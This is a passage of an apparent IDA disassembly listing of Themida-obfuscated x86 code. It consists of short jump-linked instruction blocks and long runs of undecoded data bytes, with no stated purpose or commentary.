		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		pop	eax
		jmp	loc_58C6B4
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 9CC83B66h, 91CE9h, 39C38100h, 81FCE59Dh, 7C73DCEFh
		dd 81DF0172h, 7C73DCC7h, 0C7835B72h, 3630E904h,	2C890000h
		dd 535D5424h, 529A68h, 24048900h, 0CB0A01B8h, 32E9526Dh
		dd 830000B2h, 1AE904ECh, 53000089h, 0CB8091B3h,	0B75352DBh
		dd 28CDB2C6h, 0DAF65BFAh, 0D2F6C2FEh, 804CE280h, 0EA8081CAh
		dd 0E9D300AEh, 4264h, 240C895Ch, 0FFFFFFB9h, 0EDEE81FFh
		dd 17ACC73h, 0EDC681CEh, 0FF7ACC73h, 0E9592434h, 5BE5h
; ---------------------------------------------------------------------------


loc_581D64:				; CODE XREF: Themida_:00587B0Ej
		mov	ecx, esp
		push	eax
		jmp	loc_58B70B
; ---------------------------------------------------------------------------
		dd 0FFD8215Eh, 505B2434h, 405E089h, 0E9000000h,	0FFFFFD43h
		dd 7D0B2D66h, 63B96651h, 663BE95Dh, 0C12D0000h,	293EBAC4h
		dd 0EB8158C3h, 38235602h, 0BB68C301h, 89000066h, 13BA2414h
		dd 0E94D6A32h, 4889h, 0C5E95655h, 500001Ah, 6EEADCC5h
		dd 8158C629h, 1C7C84EDh, 81F5014Dh, 1C7C84C5h, 2C875E4Dh
		dd 24248B24h, 9FFDE9h
		db 0
; ---------------------------------------------------------------------------


loc_581DD9:				; CODE XREF: Themida_:0058CC1Ej
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_58BFBC
; ---------------------------------------------------------------------------
		dd 2F6FEF81h, 875A199Bh, 248B243Ch, 240CD324h, 0FAB7E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_581E12:				; CODE XREF: Themida_:0058947Ej
		inc	edx
		jmp	loc_58CEA7
; ---------------------------------------------------------------------------
		dd 4C481h, 34FF0000h, 24048B24h, 4C481h, 89500000h, 4EC83E0h
		dd 790EE9h, 81E68900h, 4C6h, 4C68100h, 0E9000000h, 9F6h
		dd 6E7C158h, 29BBE9h
		db 0
; ---------------------------------------------------------------------------


loc_581E51:				; CODE XREF: Themida_:00582DE7j
		mov	edx, 2EB71BDFh
		jmp	loc_582368
; ---------------------------------------------------------------------------
aBS		db 'ÅÊ',0Ah
		db '`',1Bh,'é¾»',0
		align 2


loc_581E66:				; CODE XREF: Themida_:0058D653j
		mov	esi, 5BEB1ED4h
		sub	esi, 1DA7E79h
		or	esi, 180726BCh
		jmp	loc_58B8C2
; ---------------------------------------------------------------------------
		dd offset dword_59CA28
		dd 2434FFD3h, 4C4815Ah,	0
aHh		db 'ÃhH',27h,0
		align 2
		dw 1489h
		dd 50F0B224h, 0C32844B0h, 0AB7BE9h, 5FFD2900h, 261BE9h
		dd 57595400h, 2994E9h
		db 0
; ---------------------------------------------------------------------------


loc_581EB1:				; CODE XREF: Themida_:0058D0DFj
		pop	ebx
		add	esp, 4
		jmp	loc_58C9EB
; ---------------------------------------------------------------------------
		dw 3358h
		dd 0C31240Ch, 240C3324h, 0F9FFE95Ch, 0EE01FFFFh, 36DFBB53h
		dd 0EB814DD7h, 1A3DDE69h, 8B5BDE01h, 0C483242Ch, 8740E904h
		dd 0E9C00000h, 3D7EE905h, 0EC830000h, 240C8904h, 3338E9h
		db 0
; ---------------------------------------------------------------------------


loc_581EF9:				; CODE XREF: Themida_:0058892Dj
		not	ebx
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_58D0D8
; ---------------------------------------------------------------------------
		db 0B9h, 0A6h, 1Ch
		dd 0F1814D1Ah, 4D1A1CA2h, 159CF89h, 5F04247Ch, 0FFF9ACE9h
		dd 48B66FFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	528Ch
		mov	[esp], ecx
		mov	ecx, 676860BAh
		sub	ecx, 676860B6h
		add	ebp, ecx
		pop	ecx
		jmp	loc_58A722
; ---------------------------------------------------------------------------


loc_581F3F:				; CODE XREF: Themida_:0058DC88j
		or	[edi+1Ch], ebx
		jmp	loc_58671F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28100h, 33000000h, 14312414h, 24143324h, 0B419E9h
		db 0
; ---------------------------------------------------------------------------


loc_581F61:				; CODE XREF: Themida_:0058C14Ej
		push	40D0h
		mov	[esp], ecx
		push	ebx
		mov	bl, 8Fh
		mov	ch, 51h
		xor	ch, bl
		pop	ebx
		sub	al, ch
		mov	ecx, [esp]
		jmp	loc_589B64
; ---------------------------------------------------------------------------
		db 68h
		dd 79FAh, 0B7241C89h, 3E7C0F3h,	0E923E780h, 20ECh
; ---------------------------------------------------------------------------


loc_581F90:				; CODE XREF: Themida_:00585A8Ej
		mov	ebp, 2B54BA4Ah
		sub	edi, 7A185336h
		sub	edi, ebp
		add	edi, 7A185336h
		mov	ebp, [esp]
		add	esp, 4
		and	eax, edi
		jmp	loc_589D44
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 24048B00h, 4C481h, 2C880000h, 18E95987h
		db 0A7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_581FCB:				; CODE XREF: Themida_:00583CD1j
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		db 89h
		dd 0E6E92404h, 5DFFFFF8h, 5C241487h, 56E18951h,	0A20942BEh
		dd 22CE8163h, 0E95EC335h, 8D3Fh, 4240481h, 0E9000000h
		dd 0FFFFF8C1h, 0F988A1B7h, 59CC885Bh, 0F6A3CC80h, 80CCFEDCh
		dd 0E328D9F4h, 0B60F5958h, 48F66C0h, 0F89FE987h, 0EC81FFFFh
		dd 4, 8DB9E9h, 0ECE95100h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58203B:				; CODE XREF: Themida_:00588C93j
		push	46Fh
		mov	[esp], edx
		mov	edx, 5A091176h
		shl	edx, 4
		xor	edx, 56255157h
		and	edx, 764C17B5h
		jmp	loc_584E7D
; ---------------------------------------------------------------------------
		dd 0F744A35h, 3F213531h, 0C62968E5h, 0EEC15A58h, 3DE94605h
		dd 81000051h, 432E88EBh, 243C8B67h, 0E9E68956h,	0A4B4h
		dd 0E9240C31h, 63C7h, 0C6815E5Bh, 4, 4EE81h, 34870000h
		dd 0AC50E924h, 0FF550000h, 5D042474h, 2C1EE9h, 0E9D32C00h
		dd 484Bh, 241C8B5Ah, 3C8B5457h,	4C48124h, 81000000h, 4C7h
		dd 4C78100h, 57000000h,	60B8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5820D5:				; CODE XREF: Themida_:00584E5Fj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_586593
; ---------------------------------------------------------------------------
		dd offset dword_455248+9820h
		dd 24048900h, 0A0365CB8h, 24C3351Bh, 0C7896627h, 5E7C158h
		dd 89CF814Fh, 81136928h, 5A386FC7h, 0B7C78127h,	8158743Bh
		dd 47390CF7h, 5FFA01B1h, 895B5253h, 2434FFD8h, 0E9241C8Bh
		dd 6E82h, 2BE565Eh, 81000000h, 0C016BCEFh, 81F7016Bh, 0C016BCC7h
		dd 3C875E6Bh, 24248B24h, 0E9F1F766h, 9788h, 0ED8028B5h
		dd 80F52893h, 305A93C5h, 0F855E9E8h, 0E959FFFFh, 3C21h
		dd 8B242C33h, 14892424h, 0E99C5024h, 0FFFFF749h, 49322F68h
		dd 0B8EBE96Bh, 52580000h, 0D95F1BBAh, 81E2D11Fh, 0EB9ED0F2h
		dd 5AD62939h, 0DA9EE81h, 6CE90EB9h, 1000062h, 0C3815DEBh
		dd 738779EEh, 0EB81FB29h, 738779EEh, 5637E9h, 70C28100h
		dd 0E96C4B0Ch, 3764h, 371368h, 32D3E900h, 48B0000h, 0E9545624h
		dd 61DBh, 4BD5559h, 81000000h, 7254EEE9h, 52E90117h, 585FBF57h
		dd 0F7817F95h, 327546E4h, 5CF6E781h, 0E7815593h, 139E2D32h
		dd 48BCC781h, 0FA8915F2h, 0E9D1015Fh, 0ACDBh, 8324148Bh
		dd 0C28104C4h, 4, 0B377E955h, 4050000h,	68000000h, 12E7h
		dd 0BE243489h, 5C984B22h, 52F8E9h, 0D8C18100h, 5D6D1E0Eh
		dd 7114E9h
		db 0
; ---------------------------------------------------------------------------


loc_582249:				; CODE XREF: Themida_:005882BFj
		add	esp, 4
		jmp	loc_588283
; ---------------------------------------------------------------------------


loc_582251:				; CODE XREF: Themida_:00586FA8j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_582380
; ---------------------------------------------------------------------------


loc_58225A:				; CODE XREF: Themida_:00589693j
		push	546Fh
		jmp	loc_58DB5B
; ---------------------------------------------------------------------------
		dd 7EAFC681h, 55B7A4Eh,	1B361EB7h, 1712BB2Dh, 6B9E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58227A:				; CODE XREF: Themida_:00583FE0j
		pop	eax
		push	ebp
		push	edx
		mov	edx, 5D064EB6h
		not	edx
		neg	edx
		push	ebp
		mov	ebp, 0
		sub	ebp, edx
		xchg	ebp, edx
		pop	ebp
		sub	edx, 8E7B9759h
		mov	ebp, edx
		pop	edx
		inc	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 599104B1h
		and	ebp, ebx
		jmp	loc_586EB3
; ---------------------------------------------------------------------------
a3lVsmg		db '½3lÛvé¬g',0
		align 2
aIus		db '‰ãéê]',0
		db 0
; ---------------------------------------------------------------------------


loc_5822C1:				; CODE XREF: Themida_:0058BA2Ej
		or	eax, 54B2F53h
		neg	eax
		shr	eax, 2
		xor	eax, 0DBB33FE6h
		mov	esi, eax
		jmp	loc_587145
; ---------------------------------------------------------------------------
		db 5Eh
		dd 7622BF57h, 0FE314B38h, 241C8B5Fh, 4C481h, 0F0210000h
		dd 8124348Bh, 4C4h, 0D1C20900h,	2477FFE2h, 9B30E9h
		db 0
; ---------------------------------------------------------------------------


loc_582301:				; CODE XREF: Themida_:0058494Ej
		and	edx, 406E6F79h
		push	53CBh
		mov	[esp], eax
		mov	eax, 51D212DBh
		not	eax
		sub	eax, 53AE27C0h
		xor	eax, 5A77C370h
		xor	edx, eax
		pop	eax
		jmp	loc_58946E
; ---------------------------------------------------------------------------
		dd 5024048Bh, 405E089h,	56000000h, 0DC30A9BEh, 4EC816Fh
		dd 0E9000000h, 373h
; ---------------------------------------------------------------------------


loc_582344:				; CODE XREF: Themida_:00585816j
		pop	eax
		push	dword ptr [esp]
		pop	esi
		push	24FCh
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_582DD2
; ---------------------------------------------------------------------------
		dd 4BBh, 5BD80100h, 0E9240433h,	0B6DCh
; ---------------------------------------------------------------------------


loc_582368:				; CODE XREF: Themida_:00581E56j
		and	edx, 60315B21h
		inc	edx
		shl	edx, 8
		xor	edx, 64D02021h
		add	ecx, edx
		pop	edx
		jmp	loc_585C4E
; ---------------------------------------------------------------------------


loc_582380:				; CODE XREF: Themida_:00582255j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 54562404h, 1BCE9h
		db 0
; ---------------------------------------------------------------------------


loc_582399:				; CODE XREF: Themida_:005841D8j
		mov	esp, [esp]
		xor	ecx, 26DB6D8Ah
		push	ebp
		jmp	loc_582CF0
; ---------------------------------------------------------------------------


loc_5823A8:				; CODE XREF: Themida_:0058486Bj
		push	6535h
		jmp	loc_581A5A
; ---------------------------------------------------------------------------
		dw 0CF87h
		dd 66F6850h, 3C890000h,	24048B24h, 5A68E953h, 96BB0000h
		dd 29906920h, 0EE295BDDh, 4658E9h, 1039B800h, 0D1E96EDBh
		dd 30000062h, 8D685BF8h, 8900002Bh, 7CB42404h, 28EBC380h
		dd 0EBEB80E3h, 190CE9h,	4BE00h,	0F3890000h, 423E95Eh, 0B5510000h
		dd 0D0D5F6F4h, 0ED80EDh, 7E9DDF6h, 87000094h, 5C243Ch
		dd 37C380C3h, 539FEB80h, 4ECA6850h, 0CE951BDh, 81000098h
		dd 4C4h, 0C0C38100h, 29413F38h,	7ABD55C3h, 81751C27h, 0B2729EC5h
		dd 14F75565h, 22B5E924h, 0E8010000h, 15A7685Dh,	3C890000h
		dd 3D44BF24h, 0C78158DAh, 0DE43DF77h, 3C8BF801h, 4C48124h
		dd 0E9000000h, 0A2FBh, 0BCC1815Bh, 1A9F3BAh, 686859C8h
		dd 89000007h, 2BE2434h,	1000000h, 43F7E9F0h, 82040000h
		dd 0F689B551h, 7EDC0DDh, 805CE580h, 0CD8024CDh,	1E953AAh
		dd 0FF000083h, 51E92434h, 89000010h, 39BE9E5h, 89500000h
		dd 0F6CEE9E0h, 34FFFFFFh, 0EC835824h, 24048904h, 9C30E954h
		dd 0E95C0000h, 0FFFFF3EDh, 4C3815Bh, 83000000h,	1C8704C3h
		dd 0BD555C24h, 316A151Ah, 151EB850h, 0C531316Ah, 0C34E9h
		dd 96BD5500h, 0E9608826h, 845Ch, 0E9E18951h, 66A6h, 0E930FF66h
		dd 0AAC1h, 42474FFh, 10E2E958h,	0E9580000h, 7170h, 505FFD87h
		dd 3D70E9h, 4BA00h, 0D7010000h,	33B4E9h, 5C0C6800h, 86E90000h
		dd 660000B8h, 8324048Bh, 0D2F602C4h, 2A14E9h, 46E95E00h
		dd 0FF00000Ch, 0EC818734h, 4, 0BB241C89h, 23656316h, 4245C31h
		dd 2434FF5Bh, 4C48358h,	7C1268h, 241C8900h, 6DBBF57h, 0CDBB05DCh
		dd 3126B965h, 243C8BFBh, 3104C483h, 2434FFD8h, 81241C8Bh
		dd 4C4h, 4C48300h, 0B60F66h, 18986866h,	24048966h, 0FFF314E9h
		dd 89E95DFFh, 0F7000037h, 84EF81D7h, 8118AA7Ch,	5A91A9C7h
		dd 0E9F8290Bh, 2712h, 3C8B68h, 24348900h, 7D0372BEh, 5C22E954h
		dd 0D52D0000h, 597E2E79h, 5EF968h, 24348900h, 0AA43E9h
		db 0
; ---------------------------------------------------------------------------


loc_5825F5:				; CODE XREF: Themida_:00584928j
		xor	[esp], ecx
		jmp	loc_58D63D
; ---------------------------------------------------------------------------
		db 0E9h, 0C7h, 0F2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_582602:				; CODE XREF: Themida_:0058734Dj
		pop	edi
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_584882
; ---------------------------------------------------------------------------
		dw 0F031h
		dd 0E92434FFh, 234Ah, 0E906E9C1h, 5DAh,	0FDA0E953h, 0C89FFFFh
		dd 0E9C58824h, 0A6D5h, 8102E2C1h, 3FAA22EAh, 8BD10125h
		dd 0C4812414h, 4, 4EC81h, 4890000h, 1E2FB824h, 0E70D544Dh
		dd 2D1E9B45h, 0FFFFFFFFh, 0EEF6872Dh, 81A6E944h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_582666:				; CODE XREF: Themida_:005835FAj
		mov	ebp, 6DD802F4h
		add	[esp+4], ebp
		jmp	loc_58199F
; ---------------------------------------------------------------------------
		dd offset dword_59E800
		dd 42A2CC8h, 66822C0Eh,	94EB8059h, 8006C380h, 97E903EBh
		dd 81000021h, 6A5989EFh, 0C7835A45h, 243C3304h,	0E9243C31h
		dd 0B792h, 71D5B951h, 0D9F7188Dh, 6D28E181h, 7FE920A5h
		dd 89000058h, 58E9241Ch, 83000055h, 0BFE904ECh,	8B00006Ch
		dd 0C4812414h, 4, 4C281h, 51570000h, 0F34B6BB9h, 0B499BF2Fh
		dd 12E9D00Ch, 0B600005Ah, 0E9F32809h, 1EBFh, 5C24048Fh
		dd 612668h, 241C8900h, 382968h,	240C8900h, 2FB15153h, 0E959CB88h
		dd 9BD4h, 0E9241C89h, 0A976h, 6DF06853h, 0E95B2667h, 2D6Bh
		dd 81E38953h, 4ECh, 24048900h, 0C6326DB8h, 4E0C129h, 0B628E952h
		dd 51530000h, 79E98FB1h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_582747:				; CODE XREF: Themida_:00586262j
		push	1
		pop	edx
		push	149Dh
		mov	[esp], ecx
		mov	ecx, 24h
		add	ecx, edi
		push	eax
		mov	eax, 2012162Ch
		add	eax, 0DFEDE9D4h
		add	eax, ecx
		add	[eax], edx
		pop	eax
		mov	ecx, [esp]
		jmp	loc_58469E
; ---------------------------------------------------------------------------
		dd 33243431h, 835C2434h, 2C8904ECh, 50E58924h, 4B8h, 595BE900h
		dd 55520000h, 0CF0FE0BDh, 81DDF708h, 63EE90EDh,	5D5A5573h
		dd 148B5D52h, 0ADA7E924h, 83520000h, 5A012404h,	0B4EEE9h
		dd 24248900h, 0FFF83FE9h, 41C981FFh, 8106BB2Dh,	0CDD4FEC1h
		dd 0AA69E900h, 53660000h, 0DD005EB3h, 74AAE9h, 0DF685600h
		dd 89000042h, 4812424h,	424h, 0AF9E900h, 0F1810000h, 3D9E60CFh
		dd 2959CB29h, 9AC381EBh, 0E9355E44h, 0B306h, 0DA88CBFEh
		dd 0E9515B66h, 46FEh, 480BE56h,	8EE91384h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58281B:				; CODE XREF: Themida_:00584CDDj
		push	ebp
		jmp	loc_583CC8
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 6BF4E9h, 5BD80100h, 5C240487h, 7976E9h, 88506600h, 7F7FE9ECh
		dd 34870000h, 0BD555C24h, 2, 335DEB01h,	1C31241Ch, 241C3324h
		dd 0FFF47CE9h, 4C581FFh, 81000000h, 4C5h, 242C8700h, 4AF8E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58286E:				; CODE XREF: Themida_:0058CD30j
		add	esp, 4
		jmp	loc_58CC17
; ---------------------------------------------------------------------------
		dw 0C629h
		dd 0F0B5E958h, 5456FFFFh, 3429E9h, 4B85000h, 0E9000000h
		dd 0B70Eh, 1B8h, 0E9C50100h, 6582h, 68242C89h, 28CFh, 68243C89h
		dd 22D27368h, 0E950555Fh, 5C6h
; ---------------------------------------------------------------------------


loc_5828B4:				; CODE XREF: Themida_:0058D2D1j
		push	ebx
		mov	ebx, 754C4AC5h
		mov	ecx, 7A65046Dh
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		neg	ecx
		sub	ecx, 0FFFFFFFFh
		xor	ecx, 999D8C5Fh
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 7C361E58h
		add	eax, 0BD26722h
		jmp	loc_5830A6
; ---------------------------------------------------------------------------


loc_5828EF:				; CODE XREF: Themida_:005870F9j
		mov	ebp, ecx
		jmp	loc_58AB7F
; ---------------------------------------------------------------------------
		dw 0E954h
		dd 0FFFFFBE0h, 352CF800h, 0F4E96404h, 8800008Eh, 5AF588FEh
		dd 85C3805Bh, 0E950EB00h, 3D9Ah, 241CF766h, 0EFA7E99Ch
		dd 3489FFFFh, 2474FF24h, 48F5E04h, 40E95C24h, 2900006Ch
		dd 12BB05F0h, 0B72D5417h, 0E91B361Eh, 1281h, 66C62966h
		dd 665E6696h, 66BAA92Dh, 6658C289h, 782EF281h, 8BD30166h
		dd 0C4832414h, 0A41FE904h, 91B70000h, 8017E780h, 0DFF6CAEFh
		dd 0C780DFF6h, 3F54E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58297A:				; CODE XREF: Themida_:00585C42j
		xor	bl, 0Ch
		add	al, bl
		pop	ebx
		jmp	loc_585CC6
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 46856h, 348B0000h, 0E2895224h, 4C281h, 0C2810000h, 4
		dd 5C241487h, 4246C81h,	7A0845ECh, 465EE9h, 0E9EA2900h
		dd 9F75h, 6B85EE81h, 0E6C1645Eh, 0AAEE8102h, 896FD672h
		dd 0D9895EF3h, 53241C8Bh, 0C381E389h, 4, 0E904C383h, 5C4Dh
		dd 33241C31h, 4DE9241Ch
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5829EB:				; CODE XREF: Themida_:00583B03j
		pop	dword ptr [esp]
		not	ebx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_586A52
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 1Ch
		dd 0E95424h, 5E000091h,	818AE9h, 0BD555300h, 797A3AB3h
		dd 9E9E16BBh, 5DEB29D0h, 77BEF381h, 0DD895178h,	51E9535Bh
		dd 0FFFFFFF7h, 68582434h, 62F0h, 89240C89h, 4C47E9E1h
		dd 0D7F70000h, 0A33FF781h, 0F801C0FBh, 2DF8015Fh, 0A2B2161h
		dd 2BB535Fh, 1000000h, 4875BD8h, 3901E924h, 66BD0000h
		dd 0F7430F63h, 0FBAEE9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_582A72:				; CODE XREF: Themida_:005840C5j
		push	edx
		mov	edx, 288B0C4Bh
		sub	edx, 1A79407Ch
		push	0
		jmp	loc_58CDB5
; ---------------------------------------------------------------------------
		dd 0E953DAF6h, 0FFFFFED6h
; ---------------------------------------------------------------------------


loc_582A90:				; CODE XREF: Themida_:0058A3EAj
		mov	eax, esp
		jmp	loc_585584
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0EDF781DFh, 8115D25Eh, 883015C7h, 57FEE935h,	0E95A0000h
		dd 898Eh, 159CF29h, 535E5FF9h, 4BBh, 5BD90100h,	0E9240C87h
		dd 3CD0h, 5C241C87h, 0D4E9D029h, 8B00006Ah, 0C481243Ch
		dd 4, 267DB951h, 0F18110EDh, 0F3E1142h,	8107E9C1h, 3FA66AE9h
		dd 8BCF0100h, 0EC81240Ch, 4, 9B9DE9h, 9EB85000h, 486A951Bh
		dd 0CC087C35h, 0F27CE906h, 0E8C0FFFFh, 28313405h, 24048BC3h
		dd 81E78957h, 4C7h, 4C78100h, 0E9000000h, 0FFFFF8E7h
; ---------------------------------------------------------------------------


loc_582B30:				; CODE XREF: Themida_:0058453Fj
		mov	esi, [esp]
		jmp	loc_5855A5
; ---------------------------------------------------------------------------
aPSip		db 'Pœé‰P',0
		dw 0C100h
		dd 443506E0h, 1E47754h,	0E98158C1h, 4, 8B240C87h, 2C892424h
		dd 1B9FE924h, 1C8B0000h, 4C48324h, 81E28952h, 4C2h, 4C28300h
		dd 5C241487h, 5966CB28h, 1929E9h
		db 0
; ---------------------------------------------------------------------------


loc_582B7D:				; CODE XREF: Themida_:0058AB83j
		xor	ebp, 54B153B4h
		jmp	loc_58C911
; ---------------------------------------------------------------------------
		dd 0E9240487h, 73BEh, 9CC83B5Ch, 0FFED30E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_582B99:				; CODE XREF: Themida_:005859D7j
		push	131Dh
		mov	[esp], ebx
		mov	ebx, 1
		sub	edx, 180D1FDEh
		add	edx, ebx
		add	edx, 180D1FDEh
		pop	ebx
		push	edi
		jmp	loc_585AF5
; ---------------------------------------------------------------------------
aZsD		db ']ZéÝd',0
		align 2
		dw 8B66h
		dd 89562404h, 4C681E6h,	51000000h, 0C181E189h, 4, 0BCB95152h
		dd 0BA4AA242h, 79E4643Dh, 8159CA29h, 0D87F95F2h, 10F2813Eh
		dd 29119A5Eh, 3285E9D1h, 0B8500000h, 695061BFh,	804DE835h
		dd 58C12951h, 3E1C181h,	0E9814B48h, 14C0168Ah, 8359CB01h
		dd 0B9E904C3h, 68000039h, 76CFh, 89243C89h, 7D7EE9E7h
		dd 19B90000h, 0F71D823Dh, 5F2BE9D1h, 65BD0000h,	0E9199011h
		dd 282h, 0E924248Bh, 0FFFFEC7Dh, 9456B1BAh, 5C4C2D38h
		dd 0D0011231h, 173CE9h,	4C48300h, 0BE56C229h, 0C1829A3h
		dd 0E95EF201h, 0FFFFEC59h, 23A768h, 243C8900h, 874DE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_582C7E:				; CODE XREF: Themida_:0058C9F7j
		mov	esi, 64386DE2h
		shr	esi, 2
		not	esi
		dec	esi
		inc	esi
		sub	esi, 0E6F1E483h
		sub	ebx, esi
		pop	esi
		xor	ebx, [esp]
		jmp	loc_585A49
; ---------------------------------------------------------------------------
		db 52h
		dd 5488DA88h, 0FF5A0187h, 0CFE92434h, 89000060h, 0E389241Ch
		dd 3BE168h, 240C8900h, 3E2ABB53h, 82B96E63h, 29C27C5Ah
		dd 241C8BD9h, 5104C483h, 0E9241C87h, 118h, 4EC81h, 1C890000h
		dd 0F3BD5524h, 893C9649h, 17A7E9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_582CEA:				; CODE XREF: Themida_:005855C0j
		push	ebp
		jmp	loc_58CB48
; ---------------------------------------------------------------------------


loc_582CF0:				; CODE XREF: Themida_:005823A3j
		push	ecx
		push	eax
		mov	eax, 4A026BDDh
		mov	ecx, eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4EEA3BD8h
		dec	eax
		not	eax
		jmp	loc_58CC68
; ---------------------------------------------------------------------------
		db 87h
		dd 248B243Ch, 24D36624h, 0A6E99C24h, 5CFFFFEBh,	0B8240489h
		dd 2, 47E7C281h, 0C2013E87h, 47E7EA81h,	34FF3E87h, 634CE924h
		dd 0E9400000h, 0AF8Ch, 240C8B66h, 37DA68h, 0EE9FE900h
		dd 0C781FFFFh, 4, 8704EF83h, 0E95C243Ch, 0FFFFFBBAh, 94BFE952h
		dd 48F0000h, 24248B24h,	4C181h,	9FE90000h, 4600003Fh, 67FBEE81h
		dd 0EEC170F7h, 0E68107h, 0E914DB72h, 7ADEh, 0ED81C529h
		dd 0F935E9Ah, 1E95E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_582DA2:				; CODE XREF: Themida_:00584BB3j
		pop	edx
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_58A79F
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 89243489h, 0EBC8E9DEh, 7FB8FFFFh, 313D0017h,	9BD0E9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_582DD2:				; CODE XREF: Themida_:00582353j
		add	ebp, 4
		jmp	loc_58A154
; ---------------------------------------------------------------------------


loc_582DDD:				; CODE XREF: Themida_:00581B8Fj
		shr	ebx, 5
		xor	ebx, 117D6552h
		push	edx
		jmp	loc_581E51
; ---------------------------------------------------------------------------
		dd 1C87D3F7h, 0C1815924h, 54191C5Dh, 9DF4E9h, 88E68800h
		dd 1037E9F3h, 4CBA0000h, 683B1950h, 4148h, 0B8240489h
		dd 193C7EFEh, 5258C209h, 8B2404FFh, 0C4812414h,	4, 5C7FE9h
		db 0
; ---------------------------------------------------------------------------


loc_582E2D:				; CODE XREF: Themida_:005837F9j
		mov	ebp, [esp]
		jmp	loc_583ABB
; ---------------------------------------------------------------------------


loc_582E35:				; CODE XREF: Themida_:00585C57j
		add	ebp, ecx
		pop	ecx
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		push	2CEDh
		mov	[esp], ecx
		mov	ch, al
		jmp	loc_58561D
; ---------------------------------------------------------------------------
aIT_sK		db '\‰<$T_é]K',0
		align 2
		dw 0D701h
		dd 243C875Ah, 4C3815Ch,	0E9000000h, 4E9Bh, 2156E9ACh, 295A0000h
		dd 4DBFE9C8h, 2CB80000h, 0BD20703Fh, 3EC8358Ch,	9ADEE9h
		dd 48C7BD00h, 0DDF701B2h, 0C6F6C581h, 0EAE96132h, 66000076h
		dd 0B6241489h, 4BEFE91Bh, 67050000h, 6820371Fh,	7098h
		dd 0BE243489h, 1E5047AAh, 7C3EBA52h, 0D0016CB8h, 6571E95Ah
		dd 0CD810000h, 67DA4631h, 513BE9h, 48F5E00h, 80E95C24h
		dd 5600003Fh, 2C2728BEh, 81DEF730h, 0F66FA9C6h,	0FDEE816Ah
		dd 29D341E4h, 5D71E9F7h, 0ED810000h, 5E5D1395h,	8324048Bh
		dd 0C58304C4h, 929CE902h, 51660000h, 0D1F6D988h, 5966CB88h
		dd 44B5E9h, 240C8900h, 8CD3E9h,	4B800h,	0C2810000h, 3023444Ah
		dd 0A0E9h, 81E18900h, 4C1h, 4C18100h, 87000000h, 815C240Ch
		dd 4ECh, 24148900h, 5B24E950h, 23680000h, 5E2E2E6Ch, 0BD5EF389h
		dd 50EC4A1Bh, 455BDD31h, 79FDED81h, 0EDC17D5Dh,	7DC58103h
		dd 0E9FFD36Ah, 3BDBh, 0E8E9E828h, 500007Eh, 1F7C0297h
		dd 8324148Bh, 0EC8104C4h, 4, 0BE243489h, 2, 875EF001h
		dd 7CE92404h, 1000036h,	2434FFF9h, 7E22E95Fh, 575B0000h
		dd 4BFh, 5FFE0100h, 5C243487h, 7BFEE9h,	5ADE0400h, 0FE74B551h
		dd 0EB652C5h, 449CE9h, 68C22900h, 489Eh, 1C62E9h, 6FC2D00h
		dd 0C601B9C6h, 582434FFh, 4C481h, 0F7010000h, 6A32685Eh
		dd 0C890000h, 2B924h, 0CF010000h, 6EF66859h, 3C890000h
		dd 0AF38E924h, 51660000h, 0AD3EE9h, 0FFFE0100h,	835F2434h
		dd 0C68104C4h, 4, 6843E9h, 0F65B6600h, 0F6D6F6DEh, 0FBC680DEh
